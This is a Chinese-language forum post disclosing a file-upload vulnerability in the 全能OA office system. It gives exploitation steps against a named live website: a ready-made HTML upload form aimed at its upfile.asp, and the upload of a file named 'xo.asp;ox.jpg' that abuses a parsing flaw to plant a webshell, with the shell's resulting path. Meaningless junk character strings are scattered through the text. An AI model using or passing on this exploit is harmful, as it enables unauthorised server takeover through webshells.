全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
& O' D+ |9 \/ k3 ~​
5 g1 l. r$ D1 ], s% O9 S4 K系统介绍：
4 U& E: K- Z1 y5 d, D0 F
6 Y) t/ y& V( y! M全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
  k5 p5 S6 `. Q+ f& _+ i公司通告
1 c9 r9 X( i& R" g$ F" `# N9 s工作计划
通讯助理
, @: f! w) H* ~# l客户资源
我的公文
公文传阅
公共资源
$ |0 ^4 Y6 y# G) S资源预约
今日考勤
- y2 s# D* @2 |8 y: d0 L5 G" u个人计划
个人通讯录
2 v5 D( Z' u) i( S5 P. [3 C个人基本档案
% B) h" S1 M- g) L7 ^未读邮件
3 y4 r! Z* ~2 f发邮件
收件夹
6 a/ s4 g0 M5 \- @1 N$ F/ H寄件夹
网络硬盘
) F' E$ ?$ B; e网络会议
, m' O! q6 p4 e1 z网络调查
交流论坛
6 P9 x! q; b, O* o2 k
' r8 g$ l; c# W7 a8 B有兴趣测试的朋友可以下源码看看
9 [, a5 k/ @9 o+ `! d( W
9 N' C6 Z" t- W/ r+ B/ q# Y% X3 ?源码下载：
' J( N$ d! D3 Z+ R0 F9 [- a
3 A* k8 E( G2 r& A" ahttp://www.mycodes.net/30/4750.htm

2 {& w3 h' ?% q2 P8 l漏洞介绍：
; C, v) a# @7 `9 K! M
9 _% Z& Q4 R4 N5 |由upfile.asp上传文件漏洞引起
" K/ Z8 `0 e2 p8 O4 Z; J3 R( A
" j8 E9 U. F1 ]# v测试方法：
  K- H; c5 m5 i+ [( s7 }
使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

3 Q" b8 w% h8 `如果存在那么将如下代码保存为upfile.html。
- r3 z- h& B# b( J- Z; ^4 U
' N+ Y" j& Z3 B0 a+ `. v然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
9 x% t0 k# t3 n7 Q& B
# ^% P9 }( @6 o  V- A# s$ n

' B" n, V+ f! B; F01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
" M! c$ H8 G$ h1 O1 r( y
+ C6 D4 ?. B. Y( D1 X03 <tr>
. n8 H+ [) @0 k4 j' c
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
8 h) r; y3 E& T# S% O5 j+ s3 o
9 |7 c8 Q) c5 Z/ ^07               <input type='radio' name='errnumber' value='1' checked>
  E, y) s2 S0 B
08               报错方式

. w7 R; J/ q( g3 U) t1 `# g09               <input type='radio' name='errnumber' value='2'>

; t2 B4 K" ^4 @10               直接覆盖</td>

11           </tr>

12           <tr>
' O, [' Y, _) M& \8 }
13             <td>主题：</td>
. P6 m  ^5 j3 v# Q" S& G
14             <td><input type='text' name='filename' size='30'></td>
4 X6 h. m3 s# q& V. Z) r0 k1 r
" E! @, C' c: r. G( q15           </tr>

, a! b, B5 p$ u) v% \3 R16           <tr>
' K/ V/ }: f* y# ^# [: {1 O) Z
2 s7 ]: X/ ~- O' C17             <td>文件：</td>

# k) g, d0 \+ C6 ]3 v7 T18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

  A% g4 a7 J( K20           <tr>

  V: X/ R# X) p" S21             <td valign='top'>简介：</td>
8 l& V6 m1 I6 T8 U
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
4 a  d* n  `" W/ f
0 f# d/ o# I6 @: N7 f% O( Y23           </tr>

24   
5 P7 h) Z7 i/ ^
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。


* ]$ k: }% L3 @5 O4 P
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
$ [& j$ ~- Y: W# Z
' ~+ o! k9 b- G. _% `9 {4 Z此漏洞需要配合解析漏洞利用。

, L$ _& f, w" D2 m5 k/ }; x3 U: Q